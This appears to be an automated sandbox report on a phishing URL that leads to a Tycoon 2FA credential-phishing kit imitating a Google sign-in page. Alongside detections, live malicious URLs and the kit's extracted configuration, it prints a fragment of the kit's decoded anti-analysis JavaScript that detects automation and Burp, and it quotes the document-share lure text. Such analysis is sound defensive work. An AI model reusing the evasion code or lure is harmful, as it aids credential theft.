Create Interactive Tour

Windows Analysis Report
https://buildin.ai/share/5a345237-8f26-47b9-9ffb-209d1d646648?code=0GHW42&embed=true

Overview

General Information

Sample URL:	https://buildin.ai/share/5a345237-8f26-47b9-9ffb-209d1d646648?code=0GHW42&embed=true
Analysis ID:	1653938
Infos:

Detection

Invisible JS, Tycoon2FA

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Antivirus detection for URL or domain

Found malware configuration

Yara detected AntiDebug via timestamp check

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

Yara detected Tycoon 2FA PaaS

AI detected landing page (webpage, office document or email)

AI detected suspicious Javascript

Phishing site or detected (based on various text indicators)

Creates files inside the system directory

Deletes files inside the Windows folder

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 1040 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 4712 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2340,i,15036748438523786401,15822912383731305520,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2320 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6796 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://buildin.ai/share/5a345237-8f26-47b9-9ffb-209d1d646648?code=0GHW42&embed=true" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Malware Configuration

Threatname: Tycoon2FA

{
  "capnum": "2",
  "appnum": "2",
  "step": "",
  "pagelinkval": "tNNFub",
  "emailcheck": "0",
  "webname": "rtrim(/web7/, '/')",
  "urlo": "/dpruvAaXllqo7Iq8WFR3w1yQBRwxrIXl8zWVOdNEOHz0nReC9rfrgb",
  "pagedata": "",
  "portnum": "",
  "namespaceSocket": ""
}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_196	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security

HTML

Source	Rule	Description	Author
2.26..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.26..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.29..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.29..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.24.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.15.d.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.14.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.17.d.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.15.d.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.14.d.script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.32..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.1.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.1.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.2.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
2.6.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.5.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.7.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.7.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.2.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
2.6.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.5.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.4.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.4.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
Click to see the 18 entries

Joe Sandbox Signatures

• AV Detection
• Phishing
• Compliance
• Software Vulnerabilities
• Networking
• System Summary
• Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://wf.downheld.com/Roboto-Regular.woff2	Avira URL Cloud: Label: malware
Source: https://wf.downheld.com/vb8tMsPZSikt84QRN3jKD3o	Avira URL Cloud: Label: malware
Source: https://wf.downheld.com/Roboto-Medium.woff2	Avira URL Cloud: Label: malware
Source: https://wf.downheld.com/GDSherpa-vf2.woff2	Avira URL Cloud: Label: malware
Source: https://wf.downheld.com/GoogleSans-Regular.woff2	Avira URL Cloud: Label: malware
Source: https://wf.downheld.com/GDSherpa-regular.woff	Avira URL Cloud: Label: malware
Source: https://wf.downheld.com/rsWcpck21SgGMI0eamabrXMacXmL3EkJOPRjdLlkoKmEvCDmFyaz7zyzSgLno8nxBBP1wDO3mfvRfXD6f0ZwF9oFufRE8fB9lqUzX1CVFu2cd510	Avira URL Cloud: Label: malware

Found malware configuration

Source: 2.31.d.script.csv

Malware Configuration Extractor: Tycoon2FA {"capnum": "2", "appnum": "2", "step": "", "pagelinkval": "tNNFub", "emailcheck": "0", "webname": "rtrim(/web7/, '/')", "urlo": "/dpruvAaXllqo7Iq8WFR3w1yQBRwxrIXl8zWVOdNEOHz0nReC9rfrgb", "pagedata": "", "portnum": "", "namespaceSocket": ""}

Phishing

AI detected phishing page

Source: https://wf.downheld.com/ANMRXYWIAVTWXEOKBHNFEQHRJORFD3S1VY45T45HLJAL9Y9N1HKUKW4T7NY9?AVQANTNLTBGYZLCBMPMWXVUKOBWMUDSTVRKLEJHJHMTKCPHOBRSNV	Joe Sandbox AI: Score: 9 Reasons: The brand 'Google' is classified as 'wellknown'., The legitimate domain for Google is 'google.com'., The provided URL 'wf.downheld.com' does not match the legitimate domain for Google., The URL contains an unrelated domain 'downheld.com', which is not associated with Google., The presence of input fields for 'Email or phone' is common in phishing attempts targeting Google accounts., The URL structure and domain do not align with Google's typical domain patterns. DOM: 2.4.pages.csv
Source: https://wf.downheld.com/ANMRXYWIAVTWXEOKBHNFEQHRJORFD3S1VY45T45HLJAL9Y9N1HKUKW4T7NY9?AVQANTNLTBGYZLCBMPMWXVUKOBWMUDSTVRKLEJHJHMTKCPHOBRSNV	Joe Sandbox AI: Score: 9 Reasons: The brand 'Google' is classified as 'wellknown'., The legitimate domain for Google is 'google.com'., The provided URL 'wf.downheld.com' does not match the legitimate domain for Google., The URL contains an unrelated domain 'downheld.com', which is not associated with Google., The presence of input fields for 'Email or phone' is common in phishing attempts targeting Google accounts., The URL structure and domain do not align with Google's typical domain patterns. DOM: 2.5.pages.csv

Yara detected Invisible JS

Source: Yara match	File source: 1.15.d.script.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 1.2.pages.csv, type: HTML

Yara detected Obfuscation Via HangulCharacter

Source: Yara match	File source: 1.15.d.script.csv, type: HTML
Source: Yara match	File source: 1.17.d.script.csv, type: HTML
Source: Yara match	File source: 2.32..script.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 1.2.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_196, type: DROPPED

Yara detected Tycoon 2FA PaaS

Source: Yara match	File source: 2.26..script.csv, type: HTML
Source: Yara match	File source: 2.29..script.csv, type: HTML
Source: Yara match	File source: 1.24.d.script.csv, type: HTML
Source: Yara match	File source: 1.14.d.script.csv, type: HTML
Source: Yara match	File source: 2.6.pages.csv, type: HTML
Source: Yara match	File source: 2.5.pages.csv, type: HTML
Source: Yara match	File source: 2.7.pages.csv, type: HTML
Source: Yara match	File source: 2.4.pages.csv, type: HTML

AI detected landing page (webpage, office document or email)

Source: https://buildin.ai/share/5a345237-8f26-47b9-9ffb-209d1d646648?code=0GHW42&embed=true

Joe Sandbox AI: Page contains button: 'VIEW SECURE DOCUMENT' Source: '0.0.pages.csv'

AI detected suspicious Javascript

Source: 1.23..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://wf.downheld.com/Te2y0P/... This script demonstrates several high-risk behaviors, including dynamic code execution, potential data exfiltration, and suspicious redirection. The use of the `Function` constructor to execute a base64-encoded string, along with the presence of a debugger statement and a redirect to Google, suggests this script is highly suspicious and likely malicious in nature.
Source: 1.16..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://wf.downheld.com/Te2y0P/... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `atob()` to decode base64-encoded strings, followed by `eval()` to execute the decoded content, poses a significant security risk. Additionally, the script appears to be sending user data to an untrusted domain, which is a clear indicator of malicious intent. Overall, this script exhibits a high level of suspicious and potentially malicious activity, warranting a high-risk score.
Source: 2.26..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://wf.downheld.com/ANMRXYWIAVTWXEOKBHNFEQHRJO... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. It attempts to detect the presence of web automation tools and redirects the user to a blank page, which is a common tactic used by malicious scripts. Additionally, the script includes a function that checks for specific keyboard shortcuts, potentially to disable security features or access restricted functionality. The script also includes a setInterval loop that appears to be checking for a specific time threshold before redirecting the user to a Google login page, which is highly suspicious. Overall, this script demonstrates a clear intent to perform malicious activities and should be considered a high-risk threat.

Phishing site or detected (based on various text indicators)

Source: Chrome DOM: 0.0

OCR Text: Request for Proposal (RFP) You've received (2) new PDF Documents far your review VIEW SECURE DOCUMENT Powered by Buildln.Al [f any content violates regulatidns or infringes rights, click&port

Source: https://wf.downheld.com/ANMRXYWIAVTWXEOKBHNFEQHRJORFD3S1VY45T45HLJAL9Y9N1HKUKW4T7NY9?AVQANTNLTBGYZLCBMPMWXVUKOBWMUDSTVRKLEJHJHMTKCPHOBRSNV

HTTP Parser: Number of links: 0

Source: https://wf.downheld.com/ANMRXYWIAVTWXEOKBHNFEQHRJORFD3S1VY45T45HLJAL9Y9N1HKUKW4T7NY9?AVQANTNLTBGYZLCBMPMWXVUKOBWMUDSTVRKLEJHJHMTKCPHOBRSNV

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://wf.downheld.com/Te2y0P/

HTTP Parser: Base64 decoded: if (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) { window.location = "about:blank";}document.addEventListener("keydown", function (event) { function LfysZwimBW(event) { co...

Source: https://wf.downheld.com/ANMRXYWIAVTWXEOKBHNFEQHRJORFD3S1VY45T45HLJAL9Y9N1HKUKW4T7NY9?AVQANTNLTBGYZLCBMPMWXVUKOBWMUDSTVRKLEJHJHMTKCPHOBRSNV

HTTP Parser: Title: vWQRhvzTrj does not match URL

Source: https://wf.downheld.com/Te2y0P/

HTTP Parser: function aqkxrcutyt(){vxzvoqsand = atob("pcfet0nuwvbfigh0bww+cjxodg1sigxhbmc9imvuij4kpghlywq+ciagica8bwv0ysbjagfyc2v0psjvveytoci+ciagica8bwv0ysbuyw1lpsj2awv3cg9ydcigy29udgvudd0id2lkdgg9zgv2awnllxdpzhrolcbpbml0awfslxnjywxlpteumci+ciagica8dgl0bgu+tmv3iejlz2lubmluz3mgsg9tzsatienoawxkcmvuj3mgu2hlbhrlcjwvdgl0bgu+ciagica8c3r5bgu+ciagicagicagkib7ciagicagicagicagig1hcmdpbjogmdskicagicagicagicagcgfkzgluzzogmdskicagicagicagicagym94lxnpemluzzogym9yzgvylwjvedskicagicagicagicagzm9udc1myw1pbhk6icdbcmlhbccsihnhbnmtc2vyawy7ciagicagicagfqokicagicagicbib2r5ihskicagicagicagicagbgluzs1ozwlnahq6ideunjskicagicagicagicagy29sb3i6icmzmzm7ciagicagicagfqokicagicagicauagvhzgvyihskicagicagicagicagymfja2dyb3vuzc1jb2xvcjogizjjm2u1mdskicagicagicagicagy29sb3i6ihdoaxrlowogicagicagicagicb0zxh0lwfsawduoibjzw50zxi7ciagicagicagicagihbhzgrpbmc6idjyzw07ciagicagicagfqokicagicagicaubmf2ihskicagicagicagicagymfja2dyb3vuzc1jb2xvcjogizm0ndk1ztskicagicagicagicagcgfkzgluzzogmxjlbtskicagicagicb9cgogicagicagic5uyxygdwwgewogicagicagicagicbsaxn0lxn0ewxloibub...

Source: https://wf.downheld.com/ANMRXYWIAVTWXEOKBHNFEQHRJORFD3S1VY45T45HLJAL9Y9N1HKUKW4T7NY9?AVQANTNLTBGYZLCBMPMWXVUKOBWMUDSTVRKLEJHJHMTKCPHOBRSNV

HTTP Parser: <input type="password" .../> found

Source: https://wf.downheld.com/Te2y0P/	HTTP Parser: No favicon
Source: https://wf.downheld.com/Te2y0P/	HTTP Parser: No favicon
Source: https://wf.downheld.com/ANMRXYWIAVTWXEOKBHNFEQHRJORFD3S1VY45T45HLJAL9Y9N1HKUKW4T7NY9?AVQANTNLTBGYZLCBMPMWXVUKOBWMUDSTVRKLEJHJHMTKCPHOBRSNV	HTTP Parser: No favicon
Source: https://wf.downheld.com/ANMRXYWIAVTWXEOKBHNFEQHRJORFD3S1VY45T45HLJAL9Y9N1HKUKW4T7NY9?AVQANTNLTBGYZLCBMPMWXVUKOBWMUDSTVRKLEJHJHMTKCPHOBRSNV	HTTP Parser: No favicon
Source: https://wf.downheld.com/ANMRXYWIAVTWXEOKBHNFEQHRJORFD3S1VY45T45HLJAL9Y9N1HKUKW4T7NY9?AVQANTNLTBGYZLCBMPMWXVUKOBWMUDSTVRKLEJHJHMTKCPHOBRSNV	HTTP Parser: No favicon
Source: https://wf.downheld.com/ANMRXYWIAVTWXEOKBHNFEQHRJORFD3S1VY45T45HLJAL9Y9N1HKUKW4T7NY9?AVQANTNLTBGYZLCBMPMWXVUKOBWMUDSTVRKLEJHJHMTKCPHOBRSNV	HTTP Parser: No favicon

Source: https://wf.downheld.com/ANMRXYWIAVTWXEOKBHNFEQHRJORFD3S1VY45T45HLJAL9Y9N1HKUKW4T7NY9?AVQANTNLTBGYZLCBMPMWXVUKOBWMUDSTVRKLEJHJHMTKCPHOBRSNV	HTTP Parser: No <meta name="author".. found
Source: https://wf.downheld.com/ANMRXYWIAVTWXEOKBHNFEQHRJORFD3S1VY45T45HLJAL9Y9N1HKUKW4T7NY9?AVQANTNLTBGYZLCBMPMWXVUKOBWMUDSTVRKLEJHJHMTKCPHOBRSNV	HTTP Parser: No <meta name="author".. found
Source: https://wf.downheld.com/ANMRXYWIAVTWXEOKBHNFEQHRJORFD3S1VY45T45HLJAL9Y9N1HKUKW4T7NY9?AVQANTNLTBGYZLCBMPMWXVUKOBWMUDSTVRKLEJHJHMTKCPHOBRSNV	HTTP Parser: No <meta name="author".. found
Source: https://wf.downheld.com/ANMRXYWIAVTWXEOKBHNFEQHRJORFD3S1VY45T45HLJAL9Y9N1HKUKW4T7NY9?AVQANTNLTBGYZLCBMPMWXVUKOBWMUDSTVRKLEJHJHMTKCPHOBRSNV	HTTP Parser: No <meta name="author".. found

Source: https://wf.downheld.com/ANMRXYWIAVTWXEOKBHNFEQHRJORFD3S1VY45T45HLJAL9Y9N1HKUKW4T7NY9?AVQANTNLTBGYZLCBMPMWXVUKOBWMUDSTVRKLEJHJHMTKCPHOBRSNV	HTTP Parser: No <meta name="copyright".. found
Source: https://wf.downheld.com/ANMRXYWIAVTWXEOKBHNFEQHRJORFD3S1VY45T45HLJAL9Y9N1HKUKW4T7NY9?AVQANTNLTBGYZLCBMPMWXVUKOBWMUDSTVRKLEJHJHMTKCPHOBRSNV	HTTP Parser: No <meta name="copyright".. found
Source: https://wf.downheld.com/ANMRXYWIAVTWXEOKBHNFEQHRJORFD3S1VY45T45HLJAL9Y9N1HKUKW4T7NY9?AVQANTNLTBGYZLCBMPMWXVUKOBWMUDSTVRKLEJHJHMTKCPHOBRSNV	HTTP Parser: No <meta name="copyright".. found
Source: https://wf.downheld.com/ANMRXYWIAVTWXEOKBHNFEQHRJORFD3S1VY45T45HLJAL9Y9N1HKUKW4T7NY9?AVQANTNLTBGYZLCBMPMWXVUKOBWMUDSTVRKLEJHJHMTKCPHOBRSNV	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 142.250.72.100:443 -> 192.168.2.4:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.8.141.121:443 -> 192.168.2.4:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.8.141.121:443 -> 192.168.2.4:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.229:443 -> 192.168.2.4:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.229:443 -> 192.168.2.4:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.35.93.14:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.35.93.14:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.35.93.14:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.35.93.14:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.35.93.14:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.35.93.14:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.35.93.14:443 -> 192.168.2.4:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.35.93.14:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 43.152.135.172:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.9.44:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 62.234.1.137:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.222:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.52.188.215:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.52.188.215:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.52.188.215:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.52.188.215:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.52.188.215:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.8.44:443 -> 192.168.2.4:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 62.234.1.137:443 -> 192.168.2.4:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.35.93.120:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.75:443 -> 192.168.2.4:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.75:443 -> 192.168.2.4:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.75:443 -> 192.168.2.4:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.4:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.4:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.168.73.27:443 -> 192.168.2.4:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49868 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49869 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49911 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49963 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49965 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49968 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49970 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49971 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:50061 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:50062 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:50066 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:50140 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:50143 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:50145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:50146 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:50137 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:50216 version: TLS 1.2

Source: chrome.exe

Memory has grown: Private usage: 0MB later: 63MB

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /share/5a345237-8f26-47b9-9ffb-209d1d646648?code=0GHW42&embed=true HTTP/1.1Host: buildin.aiConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /npm/katex@0.16.9/dist/katex.min.css HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://buildin.ai/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /npm/mermaid@10.6.1/dist/mermaid.min.js HTTP/1.1Host: cdn.jsdelivr.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://buildin.ai/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
